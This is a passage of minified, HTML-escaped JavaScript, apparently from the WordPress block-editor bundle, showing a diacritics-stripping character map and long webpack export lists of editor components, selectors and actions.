;,Ử:&quot;U&quot;,Ữ:&quot;U&quot;,Ự:&quot;U&quot;,Ý:&quot;Y&quot;,à:&quot;a&quot;,á:&quot;a&quot;,â:&quot;a&quot;,ã:&quot;a&quot;,ä:&quot;a&quot;,å:&quot;a&quot;,ấ:&quot;a&quot;,ắ:&quot;a&quot;,ẳ:&quot;a&quot;,ẵ:&quot;a&quot;,ặ:&quot;a&quot;,æ:&quot;ae&quot;,ầ:&quot;a&quot;,ằ:&quot;a&quot;,ȃ:&quot;a&quot;,ả:&quot;a&quot;,ạ:&quot;a&quot;,ẩ:&quot;a&quot;,ẫ:&quot;a&quot;,ậ:&quot;a&quot;,ç:&quot;c&quot;,ḉ:&quot;c&quot;,è:&quot;e&quot;,é:&quot;e&quot;,ê:&quot;e&quot;,ë:&quot;e&quot;,ế:&quot;e&quot;,ḗ:&quot;e&quot;,ề:&quot;e&quot;,ḕ:&quot;e&quot;,ḝ:&quot;e&quot;,ȇ:&quot;e&quot;,ẻ:&quot;e&quot;,ẽ:&quot;e&quot;,ẹ:&quot;e&quot;,ể:&quot;e&quot;,ễ:&quot;e&quot;,ệ:&quot;e&quot;,ì:&quot;i&quot;,í:&quot;i&quot;,î:&quot;i&quot;,ï:&quot;i&quot;,ḯ:&quot;i&quot;,ȋ:&quot;i&quot;,ỉ:&quot;i&quot;,ị:&quot;i&quot;,ð:&quot;d&quot;,ñ:&quot;n&quot;,ò:&quot;o&quot;,ó:&quot;o&quot;,ô:&quot;o&quot;,õ:&quot;o&quot;,ö:&quot;o&quot;,ø:&quot;o&quot;,ố:&quot;o&quot;,ṍ:&quot;o&quot;,ṓ:&quot;o&quot;,ȏ:&quot;o&quot;,ỏ:&quot;o&quot;,ọ:&quot;o&quot;,ổ:&quot;o&quot;,ỗ:&quot;o&quot;,ộ:&quot;o&quot;,ờ:&quot;o&quot;,ở:&quot;o&quot;,ỡ:&quot;o&quot;,ớ:&quot;o&quot;,ợ:&quot;o&quot;,ù:&quot;u&quot;,ú:&quot;u&quot;,û:&quot;u&quot;,ü:&quot;u&quot;,ủ:&quot;u&quot;,ụ:&quot;u&quot;,ử:&quot;u&quot;,ữ:&quot;u&quot;,ự:&quot;u&quot;,ý:&quot;y&quot;,ÿ:&quot;y&quot;,Ā:&quot;A&quot;,ā:&quot;a&quot;,Ă:&quot;A&quot;,ă:&quot;a&quot;,Ą:&quot;A&quot;,ą:&quot;a&quot;,Ć:&quot;C&quot;,ć:&quot;c&quot;,Ĉ:&quot;C&quot;,ĉ:&quot;c&quot;,Ċ:&quot;C&quot;,ċ:&quot;c&quot;,Č:&quot;C&quot;,č:&quot;c&quot;,C̆:&quot;C&quot;,c̆:&quot;c&quot;,Ď:&quot;D&quot;,ď:&quot;d&quot;,Đ:&quot;D&quot;,đ:&quot;d&quot;,Ē:&quot;E&quot;,ē:&quot;e&quot;,Ĕ:&quot;E&quot;,ĕ:&quot;e&quot;,Ė:&quot;E&quot;,ė:&quot;e&quot;,Ę:&quot;E&quot;,ę:&quot;e&quot;,Ě:&quot;E&quot;,ě:&quot;e&quot;,Ĝ:&quot;G&quot;,Ǵ:&quot;G&quot;,ĝ:&quot;g&quot;,ǵ:&quot;g&quot;,Ğ:&quot;G&quot;,ğ:&quot;g&quot;,Ġ:&quot;G&quot;,ġ:&quot;g&quot;,Ģ:&quot;G&quot;,ģ:&quot;g&quot;,Ĥ:&quot;H&quot;,ĥ:&quot;h&quot;,Ħ:&quot;H&quot;,ħ:&quot;h&quot;,Ḫ:&quot;H&quot;,ḫ:&quot;h&quot;,Ĩ:&quot;I&quot;,ĩ:&quot;i&quot;,Ī:&quot;I&quot;,ī:&quot;i&quot;,Ĭ:&quot;I&quot;,ĭ:&quot;i&quot;,Į:&quot;I&quot;,į:&quot;i&quot;,İ:&quot;I&quot;,ı:&quot;i&quot;,Ĳ:&quot;IJ&quot;,ĳ:&quot;ij&quot;,Ĵ:&quot;J&quot;,ĵ:&quot;j&quot;,Ķ:&quot;K&quot;,ķ:&quot;k&quot;,Ḱ:&quot;K&quot;,ḱ:&quot;k&quot;,K̆:&quot;K&quot;,k̆:&quot;k&quot;,Ĺ:&quot;L&quot;,ĺ:&quot;l&quot;,Ļ:&quot;L&quot;,ļ:&quot;l&quot;,Ľ:&quot;L&quot;,ľ:&quot;l&quot;,Ŀ:&quot;L&quot;,ŀ:&quot;l&quot;,Ł:&quot;l&quot;,ł:&quot;l&quot;,Ḿ:&quot;M&quot;,ḿ:&quot;m&quot;,M̆:&quot;M&quot;,m̆:&quot;m&quot;,Ń:&quot;N&quot;,ń:&quot;n&quot;,Ņ:&quot;N&quot;,ņ:&quot;n&quot;,Ň:&quot;N&quot;,ň:&quot;n&quot;,ŉ:&quot;n&quot;,N̆:&quot;N&quot;,n̆:&quot;n&quot;,Ō:&quot;O&quot;,ō:&quot;o&quot;,Ŏ:&quot;O&quot;,ŏ:&quot;o&quot;,Ő:&quot;O&quot;,ő:&quot;o&quot;,Œ:&quot;OE&quot;,œ:&quot;oe&quot;,P̆:&quot;P&quot;,p̆:&quot;p&quot;,Ŕ:&quot;R&quot;,ŕ:&quot;r&quot;,Ŗ:&quot;R&quot;,ŗ:&quot;r&quot;,Ř:&quot;R&quot;,ř:&quot;r&quot;,R̆:&quot;R&quot;,r̆:&quot;r&quot;,Ȓ:&quot;R&quot;,ȓ:&quot;r&quot;,Ś:&quot;S&quot;,ś:&quot;s&quot;,Ŝ:&quot;S&quot;,ŝ:&quot;s&quot;,Ş:&quot;S&quot;,Ș:&quot;S&quot;,ș:&quot;s&quot;,ş:&quot;s&quot;,Š:&quot;S&quot;,š:&quot;s&quot;,Ţ:&quot;T&quot;,ţ:&quot;t&quot;,ț:&quot;t&quot;,Ț:&quot;T&quot;,Ť:&quot;T&quot;,ť:&quot;t&quot;,Ŧ:&quot;T&quot;,ŧ:&quot;t&quot;,T̆:&quot;T&quot;,t̆:&quot;t&quot;,Ũ:&quot;U&quot;,ũ:&quot;u&quot;,Ū:&quot;U&quot;,ū:&quot;u&quot;,Ŭ:&quot;U&quot;,ŭ:&quot;u&quot;,Ů:&quot;U&quot;,ů:&quot;u&quot;,Ű:&quot;U&quot;,ű:&quot;u&quot;,Ų:&quot;U&quot;,ų:&quot;u&quot;,Ȗ:&quot;U&quot;,ȗ:&quot;u&quot;,V̆:&quot;V&quot;,v̆:&quot;v&quot;,Ŵ:&quot;W&quot;,ŵ:&quot;w&quot;,Ẃ:&quot;W&quot;,ẃ:&quot;w&quot;,X̆:&quot;X&quot;,x̆:&quot;x&quot;,Ŷ:&quot;Y&quot;,ŷ:&quot;y&quot;,Ÿ:&quot;Y&quot;,Y̆:&quot;Y&quot;,y̆:&quot;y&quot;,Ź:&quot;Z&quot;,ź:&quot;z&quot;,Ż:&quot;Z&quot;,ż:&quot;z&quot;,Ž:&quot;Z&quot;,ž:&quot;z&quot;,ſ:&quot;s&quot;,ƒ:&quot;f&quot;,Ơ:&quot;O&quot;,ơ:&quot;o&quot;,Ư:&quot;U&quot;,ư:&quot;u&quot;,Ǎ:&quot;A&quot;,ǎ:&quot;a&quot;,Ǐ:&quot;I&quot;,ǐ:&quot;i&quot;,Ǒ:&quot;O&quot;,ǒ:&quot;o&quot;,Ǔ:&quot;U&quot;,ǔ:&quot;u&quot;,Ǖ:&quot;U&quot;,ǖ:&quot;u&quot;,Ǘ:&quot;U&quot;,ǘ:&quot;u&quot;,Ǚ:&quot;U&quot;,ǚ:&quot;u&quot;,Ǜ:&quot;U&quot;,ǜ:&quot;u&quot;,Ứ:&quot;U&quot;,ứ:&quot;u&quot;,Ṹ:&quot;U&quot;,ṹ:&quot;u&quot;,Ǻ:&quot;A&quot;,ǻ:&quot;a&quot;,Ǽ:&quot;AE&quot;,ǽ:&quot;ae&quot;,Ǿ:&quot;O&quot;,ǿ:&quot;o&quot;,Þ:&quot;TH&quot;,þ:&quot;th&quot;,Ṕ:&quot;P&quot;,ṕ:&quot;p&quot;,Ṥ:&quot;S&quot;,ṥ:&quot;s&quot;,X́:&quot;X&quot;,x́:&quot;x&quot;,Ѓ:&quot;Г&quot;,ѓ:&quot;г&quot;,Ќ:&quot;К&quot;,ќ:&quot;к&quot;,A̋:&quot;A&quot;,a̋:&quot;a&quot;,E̋:&quot;E&quot;,e̋:&quot;e&quot;,I̋:&quot;I&quot;,i̋:&quot;i&quot;,Ǹ:&quot;N&quot;,ǹ:&quot;n&quot;,Ồ:&quot;O&quot;,ồ:&quot;o&quot;,Ṑ:&quot;O&quot;,ṑ:&quot;o&quot;,Ừ:&quot;U&quot;,ừ:&quot;u&quot;,Ẁ:&quot;W&quot;,ẁ:&quot;w&quot;,Ỳ:&quot;Y&quot;,ỳ:&quot;y&quot;,Ȁ:&quot;A&quot;,ȁ:&quot;a&quot;,Ȅ:&quot;E&quot;,ȅ:&quot;e&quot;,Ȉ:&quot;I&quot;,ȉ:&quot;i&quot;,Ȍ:&quot;O&quot;,ȍ:&quot;o&quot;,Ȑ:&quot;R&quot;,ȑ:&quot;r&quot;,Ȕ:&quot;U&quot;,ȕ:&quot;u&quot;,B̌:&quot;B&quot;,b̌:&quot;b&quot;,Č̣:&quot;C&quot;,č̣:&quot;c&quot;,Ê̌:&quot;E&quot;,ê̌:&quot;e&quot;,F̌:&quot;F&quot;,f̌:&quot;f&quot;,Ǧ:&quot;G&quot;,ǧ:&quot;g&quot;,Ȟ:&quot;H&quot;,ȟ:&quot;h&quot;,J̌:&quot;J&quot;,ǰ:&quot;j&quot;,Ǩ:&quot;K&quot;,ǩ:&quot;k&quot;,M̌:&quot;M&quot;,m̌:&quot;m&quot;,P̌:&quot;P&quot;,p̌:&quot;p&quot;,Q̌:&quot;Q&quot;,q̌:&quot;q&quot;,Ř̩:&quot;R&quot;,ř̩:&quot;r&quot;,Ṧ:&quot;S&quot;,ṧ:&quot;s&quot;,V̌:&quot;V&quot;,v̌:&quot;v&quot;,W̌:&quot;W&quot;,w̌:&quot;w&quot;,X̌:&quot;X&quot;,x̌:&quot;x&quot;,Y̌:&quot;Y&quot;,y̌:&quot;y&quot;,A̧:&quot;A&quot;,a̧:&quot;a&quot;,B̧:&quot;B&quot;,b̧:&quot;b&quot;,Ḑ:&quot;D&quot;,ḑ:&quot;d&quot;,Ȩ:&quot;E&quot;,ȩ:&quot;e&quot;,Ɛ̧:&quot;E&quot;,ɛ̧:&quot;e&quot;,Ḩ:&quot;H&quot;,ḩ:&quot;h&quot;,I̧:&quot;I&quot;,i̧:&quot;i&quot;,Ɨ̧:&quot;I&quot;,ɨ̧:&quot;i&quot;,M̧:&quot;M&quot;,m̧:&quot;m&quot;,O̧:&quot;O&quot;,o̧:&quot;o&quot;,Q̧:&quot;Q&quot;,q̧:&quot;q&quot;,U̧:&quot;U&quot;,u̧:&quot;u&quot;,X̧:&quot;X&quot;,x̧:&quot;x&quot;,Z̧:&quot;Z&quot;,z̧:&quot;z&quot;,й:&quot;и&quot;,Й:&quot;И&quot;,ё:&quot;е&quot;,Ё:&quot;Е&quot;},n=Object.keys(t).join(&quot;|&quot;),o=new RegExp(n,&quot;g&quot;),r=new RegExp(n,&quot;&quot;);function i(e){return t[e]}var s=function(e){return e.replace(o,i)};e.exports=s,e.exports.has=function(e){return!!e.match(r)},e.exports.remove=s},9746:()=&gt;{},9977:()=&gt;{}},t={};function n(o){var r=t[o];if(void 0!==r)return r.exports;var i=t[o]={exports:{}};return e[o].call(i.exports,i,i.exports,n),i.exports}n.n=e=&gt;{var t=e&amp;&amp;e.__esModule?()=&gt;e.default:()=&gt;e;return n.d(t,{a:t}),t},n.d=(e,t)=&gt;{for(var o in t)n.o(t,o)&amp;&amp;!n.o(e,o)&amp;&amp;Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},n.o=(e,t)=&gt;Object.prototype.hasOwnProperty.call(e,t),n.r=e=&gt;{&quot;undefined&quot;!=typeof Symbol&amp;&amp;Symbol.toStringTag&amp;&amp;Object.defineProperty(e,Symbol.toStringTag,{value:&quot;Module&quot;}),Object.defineProperty(e,&quot;__esModule&quot;,{value:!0})};var o={};(()=&gt;{&quot;use strict&quot;;n.r(o),n.d(o,{AlignmentControl:()=&gt;zg,AlignmentToolbar:()=&gt;Vg,Autocomplete:()=&gt;bj,BlockAlignmentControl:()=&gt;da,BlockAlignmentToolbar:()=&gt;pa,BlockBreadcrumb:()=&gt;wj,BlockCanvas:()=&gt;YT,BlockColorsStyleSelector:()=&gt;eM,BlockContextProvider:()=&gt;rv,BlockControls:()=&gt;Ps,BlockEdit:()=&gt;kv,BlockEditorKeyboardShortcuts:()=&gt;Xk,BlockEditorProvider:()=&gt;nv,BlockFormatControls:()=&gt;Ms,BlockIcon:()=&gt;zu,BlockInspector:()=&gt;zA,BlockList:()=&gt;uw,BlockMover:()=&gt;Fj,BlockNavigationDropdown:()=&gt;LM,BlockPopover:()=&gt;ef,BlockPreview:()=&gt;bC,BlockSelectionClearer:()=&gt;PS,BlockSettingsMenu:()=&gt;hT,BlockSettingsMenuControls:()=&gt;sT,BlockStyles:()=&gt;zM,BlockTitle:()=&gt;Sj,BlockToolbar:()=&gt;DT,BlockTools:()=&gt;HT,BlockVerticalAlignmentControl:()=&gt;kl,BlockVerticalAlignmentToolbar:()=&gt;vl,ButtonBlockAppender:()=&gt;cI,ButtonBlockerAppender:()=&gt;aI,ColorPalette:()=&gt;aP,ColorPaletteControl:()=&gt;cP,ContrastChecker:()=&gt;uh,CopyHandler:()=&gt;FA,DefaultBlockAppender:()=&gt;_S,FontSizePicker:()=&gt;ij,HeadingLevelDropdown:()=&gt;GM,HeightControl:()=&gt;fm,InnerBlocks:()=&gt;JS,Inserter:()=&gt;sI,InspectorAdvancedControls:()=&gt;za,InspectorControls:()=&gt;Va,JustifyContentControl:()=&gt;xl,JustifyToolbar:()=&gt;Sl,LineHeightControl:()=&gt;Dh,LinkControl:()=&gt;cu,MediaPlaceholder:()=&gt;gR,MediaReplaceFlow:()=&gt;pu,MediaUpload:()=&gt;qa,MediaUploadCheck:()=&gt;Ya,MultiSelectScrollIntoView:()=&gt;$A,NavigableToolbar:()=&gt;jT,ObserveTyping:()=&gt;ow,PanelColorSettings:()=&gt;mR,PlainText:()=&gt;ZR,RecursionProvider:()=&gt;QA,RichText:()=&gt;$R,RichTextShortcut:()=&gt;XR,RichTextToolbarButton:()=&gt;QR,SETTINGS_DEFAULTS:()=&gt;P,SkipToSelectedBlock:()=&gt;hA,ToolSelector:()=&gt;iN,Typewriter:()=&gt;YA,URLInput:()=&gt;lc,URLInputButton:()=&gt;nA,URLPopover:()=&gt;uR,Warning:()=&gt;fv,WritingFlow:()=&gt;Rw,__experimentalBlockAlignmentMatrixControl:()=&gt;yj,__experimentalBlockFullHeightAligmentControl:()=&gt;vj,__experimentalBlockPatternSetup:()=&gt;nP,__experimentalBlockPatternsList:()=&gt;GC,__experimentalBlockVariationPicker:()=&gt;WM,__experimentalBlockVariationTransforms:()=&gt;sP,__experimentalBorderRadiusControl:()=&gt;op,__experimentalColorGradientControl:()=&gt;Zp,__experimentalColorGradientSettingsDropdown:()=&gt;bP,__experimentalDateFormatPicker:()=&gt;pP,__experimentalDuotoneControl:()=&gt;jf,__experimentalFontAppearanceControl:()=&gt;Nh,__experimentalFontFamilyControl:()=&gt;Rh,__experimentalGetBorderClassesAndStyles:()=&gt;HI,__experimentalGetColorClassesAndStyles:()=&gt;$I,__experimentalGetElementClassName:()=&gt;lN,__experimentalGetGapCSSValue:()=&gt;cl,__experimentalGetGradientClass:()=&gt;Dp,__experimentalGetGradientObjectByGradientValue:()=&gt;zp,__experimentalGetShadowClassesAndStyles:()=&gt;GI,__experimentalGetSpacingClassesAndStyles:()=&gt;KI,__experimentalImageEditor:()=&gt;nR,__experimentalImageSizeControl:()=&gt;sR,__experimentalImageURLInputUI:()=&gt;cA,__experimentalInspectorPopoverHeader:()=&gt;nN,__experimentalLetterSpacingControl:()=&gt;Oh,__experimentalLibrary:()=&gt;GA,__experimentalLinkControl:()=&gt;au,__experimentalLinkControlSearchInput:()=&gt;Uc,__experimentalLinkControlSearchItem:()=&gt;Cc,__experimentalLinkControlSearchResults:()=&gt;Ac,__experimentalListView:()=&gt;AM,__experimentalPanelColorGradientSettings:()=&gt;yP,__experimentalPreviewOptions:()=&gt;uA,__experimentalPublishDateTimePicker:()=&gt;rN,__experimentalRecursionProvider:()=&gt;eN,__experimentalResponsiveBlockControl:()=&gt;YR,__experimentalSpacingSizesControl:()=&gt;gm,__experimentalTextDecorationControl:()=&gt;eg,__experimentalTextTransformControl:()=&gt;Yh,__experimentalUnitControl:()=&gt;eA,__experimentalUseBlockOverlayActive:()=&gt;Cj,__experimentalUseBlockPreview:()=&gt;kC,__experimentalUseBorderProps:()=&gt;UI,__experimentalUseColorProps:()=&gt;WI,__experimentalUseCustomSides:()=&gt;gf,__experimentalUseGradient:()=&gt;Fp,__experimentalUseHasRecursion:()=&gt;tN,__experimentalUseMultipleOriginColorsAndGradients:()=&gt;Ad,__experimentalUseResizeCanvas:()=&gt;dA,__experimentalWritingModeControl:()=&gt;rg,__unstableBlockNameContext:()=&gt;wT,__unstableBlockSettingsMenuFirstItem:()=&gt;OE,__unstableBlockToolbarLastItem:()=&gt;vE,__unstableEditorStyles:()=&gt;aC,__unstableIframe:()=&gt;Vw,__unstableInserterMenuExtension:()=&gt;WB,__unstableRichTextInputEvent:()=&gt;JR,__unstableUseBlockSelectionClearer:()=&gt;MS,__unstableUseClipboardHandler:()=&gt;VA,__unstableUseMouseMoveTypingReset:()=&gt;tw,__unstableUseTypewriter:()=&gt;qA,__unstableUseTypingObserver:()=&gt;nw,createCustomColorsHOC:()=&gt;oj,getColorClassName:()=&gt;Rd,getColorObjectByAttributeValues:()=&gt;Md,getColorObjectByColorValue:()=&gt;Pd,getComputedFluidTypographyValue:()=&gt;Oi,getCustomValueFromPreset:()=&gt;rl,getFontSize:()=&gt;Eg,getFontSizeClass:()=&gt;Mg,getFontSizeObjectByValue:()=&gt;Tg,getGradientSlugByValue:()=&gt;Vp,getGradientValueBySlug:()=&gt;Op,getPxFromCssUnit:()=&gt;aN,getSpacingPresetCssVar:()=&gt;sl,getTypographyClassesAndStyles:()=&gt;qI,isValueSpacingPreset:()=&gt;ol,privateApis:()=&gt;sD,store:()=&gt;Ii,storeConfig:()=&gt;Bi,transformStyles:()=&gt;sC,useBlockBindingsUtils:()=&gt;uv,useBlockCommands:()=&gt;KT,useBlockDisplayInformation:()=&gt;Yf,useBlockEditContext:()=&gt;C,useBlockEditingMode:()=&gt;ha,useBlockProps:()=&gt;hS,useCachedTruthy:()=&gt;YI,useHasRecursion:()=&gt;JA,useInnerBlocksProps:()=&gt;QS,useSetting:()=&gt;Ti,useSettings:()=&gt;Ei,useStyleOverride:()=&gt;vs,withColorContext:()=&gt;lP,withColors:()=&gt;rj,withFontSizes:()=&gt;aj});var e={};n.r(e),n.d(e,{getAllPatterns:()=&gt;Oe,getBlockRemovalRules:()=&gt;Me,getBlockSettings:()=&gt;_e,getBlockStyles:()=&gt;qe,getBlockWithoutAttributes:()=&gt;we,getClosestAllowedInsertionPoint:()=&gt;Je,getClosestAllowedInsertionPointForPattern:()=&gt;et,getContentLockingParent:()=&gt;Ge,getEnabledBlockParents:()=&gt;Ee,getEnabledClientIdsTree:()=&gt;je,getExpandedBlock:()=&gt;Ue,getInserterMediaCategories:()=&gt;Ne,getInsertionPoint:()=&gt;tt,getLastFocus:()=&gt;Fe,getLastInsertedBlocksClientIds:()=&gt;Se,getOpenedBlockSettingsMenu:()=&gt;Pe,getParentSectionBlock:()=&gt;$e,getPatternBySlug:()=&gt;De,getRegisteredInserterMediaCategories:()=&gt;Ae,getRemovalPromptData:()=&gt;Te,getReusableBlocks:()=&gt;Ve,getSectionRootClientId:()=&gt;Ye,getStyleOverrides:()=&gt;Re,getTemporarilyEditingAsBlocks:()=&gt;Ke,getTemporarilyEditingFocusModeToRevert:()=&gt;Ze,getZoomLevel:()=&gt;Qe,hasAllowedPatterns:()=&gt;Le,hasBlockSpotlight:()=&gt;ot,isBlockHidden:()=&gt;nt,isBlockInterfaceHidden:()=&gt;xe,isBlockSubtreeDisabled:()=&gt;Ce,isContainerInsertableToInContentOnlyMode:()=&gt;Be,isDragging:()=&gt;He,isSectionBlock:()=&gt;We,isZoomOut:()=&gt;Xe});var t={};n.r(t),n.d(t,{__experimentalGetActiveBlockIdByBlockNames:()=&gt;Eo,__experimentalGetAllowedBlocks:()=&gt;so,__experimentalGetAllowedPatterns:()=&gt;go,__experimentalGetBlockListSettingsForBlocks:()=&gt;yo,__experimentalGetDirectInsertBlock:()=&gt;ao,__experimentalGetGlobalBlocksByName:()=&gt;Ot,__experimentalGetLastBlockAttributeChanges:()=&gt;wo,__experimentalGetParsedPattern:()=&gt;co,__experimentalGetPatternTransformItems:()=&gt;bo,__experimentalGetPatternsByBlockTypes:()=&gt;fo,__experimentalGetReusableBlockTitle:()=&gt;xo,__unstableGetBlockWithoutInnerBlocks:()=&gt;Tt,__unstableGetClientIdWithClientIdsTree:()=&gt;Pt,__unstableGetClientIdsTree:()=&gt;Rt,__unstableGetContentLockingParent:()=&gt;zo,__unstableGetSelectedBlocksWithPartialSelection:()=&gt;_n,__unstableGetTemporarilyEditingAsBlocks:()=&gt;Vo,__unstableGetTemporarilyEditingFocusModeToRevert:()=&gt;Fo,__unstableGetVisibleBlocks:()=&gt;Ro,__unstableHasActiveBlockOverlayActive:()=&gt;Ao,__unstableIsFullySelected:()=&gt;fn,__unstableIsLastBlockChangeIgnored:()=&gt;So,__unstableIsSelectionCollapsed:()=&gt;bn,__unstableIsSelectionMergeable:()=&gt;vn,__unstableIsWithinBlockOverlay:()=&gt;No,__unstableSelectionHasUnmergeableBlock:()=&gt;kn,areInnerBlocksControlled:()=&gt;jo,canEditBlock:()=&gt;Yn,canInsertBlockType:()=&gt;Gn,canInsertBlocks:()=&gt;$n,canLockBlockType:()=&gt;Xn,canMoveBlock:()=&gt;Zn,canMoveBlocks:()=&gt;qn,canRemoveBlock:()=&gt;Wn,canRemoveBlocks:()=&gt;Kn,didAutomaticChange:()=&gt;Bo,getAdjacentBlockClientId:()=&gt;tn,getAllowedBlocks:()=&gt;io,getBlock:()=&gt;Et,getBlockAttributes:()=&gt;jt,getBlockCount:()=&gt;Ft,getBlockEditingMode:()=&gt;Lo,getBlockHierarchyRootClientId:()=&gt;Jt,getBlockIndex:()=&gt;xn,getBlockInsertionPoint:()=&gt;Dn,getBlockListSettings:()=&gt;ko,getBlockMode:()=&gt;Tn,getBlockName:()=&gt;Bt,getBlockNamesByClientId:()=&gt;Vt,getBlockOrder:()=&gt;yn,getBlockParents:()=&gt;Xt,getBlockParentsByBlockName:()=&gt;Qt,getBlockRootClientId:()=&gt;Yt,getBlockSelectionEnd:()=&gt;$t,getBlockSelectionStart:()=&gt;Gt,getBlockTransformItems:()=&gt;oo,getBlocks:()=&gt;Mt,getBlocksByClientId:()=&gt;zt,getBlocksByName:()=&gt;Dt,getClientIdsOfDescendants:()=&gt;At,getClientIdsWithDescendants:()=&gt;Nt,getDirectInsertBlock:()=&gt;lo,getDraggedBlockClientIds:()=&gt;Rn,getFirstMultiSelectedBlockClientId:()=&gt;cn,getGlobalBlockCount:()=&gt;Lt,getHoveredBlockClientId:()=&gt;Po,getInserterItems:()=&gt;no,getLastMultiSelectedBlockClientId:()=&gt;un,getLowestCommonAncestorWithSelectedBlock:()=&gt;en,getMultiSelectedBlockClientIds:()=&gt;ln,getMultiSelectedBlocks:()=&gt;an,getMultiSelectedBlocksEndClientId:()=&gt;mn,getMultiSelectedBlocksStartClientId:()=&gt;gn,getNextBlockClientId:()=&gt;on,getPatternsByBlockTypes:()=&gt;mo,getPreviousBlockClientId:()=&gt;nn,getSelectedBlock:()=&gt;qt,getSelectedBlockClientId:()=&gt;Zt,getSelectedBlockClientIds:()=&gt;sn,getSelectedBlockCount:()=&gt;Wt,getSelectedBlocksInitialCaretPosition:()=&gt;rn,getSelectionEnd:()=&gt;Ut,getSelectionStart:()=&gt;Ht,getSettings:()=&gt;vo,getTemplate:()=&gt;Vn,getTemplateLock:()=&gt;Fn,hasBlockMovingClientId:()=&gt;Co,hasDraggedInnerBlock:()=&gt;Cn,hasInserterItems:()=&gt;ro,hasMultiSelection:()=&gt;In,hasSelectedBlock:()=&gt;Kt,hasSelectedInnerBlock:()=&gt;wn,isAncestorBeingDragged:()=&gt;Nn,isAncestorMultiSelected:()=&gt;hn,isBlockBeingDragged:()=&gt;An,isBlockHighlighted:()=&gt;Io,isBlockInsertionPointVisible:()=&gt;On,isBlockMultiSelected:()=&gt;pn,isBlockSelected:()=&gt;Sn,isBlockValid:()=&gt;It,isBlockVisible:()=&gt;Mo,isBlockWithinSelection:()=&gt;Bn,isCaretWithinFormattedText:()=&gt;Ln,isDraggingBlocks:()=&gt;Pn,isFirstMultiSelectedBlock:()=&gt;dn,isGroupable:()=&gt;Oo,isLastBlockChangePersistent:()=&gt;_o,isMultiSelecting:()=&gt;jn,isSelectionEnabled:()=&gt;En,isTyping:()=&gt;Mn,isUngroupable:()=&gt;Do,isValidTemplate:()=&gt;zn,wasBlockJustInserted:()=&gt;To});var r={};n.r(r),n.d(r,{__experimentalUpdateSettings:()=&gt;Go,clearBlockRemovalPrompt:()=&gt;Yo,deleteStyleOverride:()=&gt;er,ensureDefaultBlock:()=&gt;Zo,expandBlock:()=&gt;ir,hideBlockInterface:()=&gt;$o,modifyContentLockBlock:()=&gt;lr,privateRemoveBlocks:()=&gt;Ko,resetZoomLevel:()=&gt;cr,setBlockRemovalRules:()=&gt;Xo,setInsertionPoint:()=&gt;sr,setLastFocus:()=&gt;tr,setOpenedBlockSettingsMenu:()=&gt;Qo,setStyleOverride:()=&gt;Jo,setZoomLevel:()=&gt;ar,showBlockInterface:()=&gt;Wo,startDragging:()=&gt;or,stopDragging:()=&gt;rr,stopEditingAsBlocks:()=&gt;nr,toggleBlockSpotlight:()=&gt;ur});var i={};n.r(i),n.d(i,{__unstableDeleteSelection:()=&gt;$r,__unstableExpandSelection:()=&gt;Kr,__unstableMarkAutomaticChange:()=&gt;pi,__unstableMarkLastChangeAsPersistent:()=&gt;ui,__unstableMarkNextChangeAsNotPersistent:()=&gt;di,__unstableSaveReusableBlock:()=&gt;ci,__unstableSetEditorMode:()=&gt;hi,__unstableSetTemporarilyEditingAsBlocks:()=&gt;xi,__unstableSplitSelection:()=&gt;Wr,clearSelectedBlock:()=&gt;Tr,duplicateBlocks:()=&gt;mi,enterFormattedText:()=&gt;oi,exitFormattedText:()=&gt;ri,flashBlock:()=&gt;vi,hideInsertionPoint:()=&gt;Hr,hoverBlock:()=&gt;wr,insertAfterBlock:()=&gt;bi,insertBeforeBlock:()=&gt;fi,insertBlock:()=&gt;zr,insertBlocks:()=&gt;Vr,insertDefaultBlock:()=&gt;si,mergeBlocks:()=&gt;Zr,moveBlockToPosition:()=&gt;Or,moveBlocksDown:()=&gt;Nr,moveBlocksToPosition:()=&gt;Dr,moveBlocksUp:()=&gt;Lr,multiSelect:()=&gt;Er,receiveBlocks:()=&gt;_r,registerInserterMediaCategory:()=&gt;Si,removeBlock:()=&gt;Yr,removeBlocks:()=&gt;qr,replaceBlock:()=&gt;Rr,replaceBlocks:()=&gt;Pr,replaceInnerBlocks:()=&gt;Xr,resetBlocks:()=&gt;br,resetSelection:()=&gt;vr,selectBlock:()=&gt;Sr,selectNextBlock:()=&gt;Br,selectPreviousBlock:()=&gt;Cr,selectionChange:()=&gt;ii,setBlockEditingMode:()=&gt;wi,setBlockMovingClientId:()=&gt;gi,setBlockVisibility:()=&gt;yi,setHasControlledInnerBlocks:()=&gt;_i,setTemplateValidity:()=&gt;Ur,showInsertionPoint:()=&gt;Fr,startDraggingBlocks:()=&gt;ti,startMultiSelect:()=&gt;Ir,startTyping:()=&gt;Jr,stopDraggingBlocks:()=&gt;ni,stopMultiSelect:()=&gt;jr,stopTyping:()=&gt;ei,synchronizeTemplate:()=&gt;Gr,toggleBlockHighlight:()=&gt;ki,toggleBlockMode:()=&gt;Qr,toggleSelection:()=&gt;Mr,unsetBlockEditingMode:()=&gt;Ci,updateBlock:()=&gt;xr,updateBlockAttributes:()=&gt;yr,updateBlockListSettings:()=&gt;li,updateSettings:()=&gt;ai,validateBlocksToTemplate:()=&gt;kr});var s={};n.r(s),n.d(s,{getItems:()=&gt;nk,getSettings:()=&gt;sk,isUploading:()=&gt;ok,isUploadingById:()=&gt;ik,isUploadingByUrl:()=&gt;rk});var l={};n.r(l),n.d(l,{getAllItems:()=&gt;lk,getBlobUrls:()=&gt;hk,getItem:()=&gt;ak,getPausedUploadForPost:()=&gt;dk,isBatchUploaded:()=&gt;ck,isPaused:()=&gt;pk,isUploadingToPost:()=&gt;uk});var a={};n.r(a),n.d(a,{addItems:()=&gt;Ck,cancelItem:()=&gt;Bk});var c={};n.r(c),n.d(c,{addItem:()=&gt;Ek,finishOperation:()=&gt;Ak,pauseQueue:()=&gt;Mk,prepareItem:()=&gt;Nk,processItem:()=&gt;Tk,removeItem:()=&gt;Rk,resumeQueue:()=&gt;Pk,revokeBlobUrls:()=&gt;Dk,updateSettings:()=&gt;Ok,uploadItem:()=&gt;Lk});var 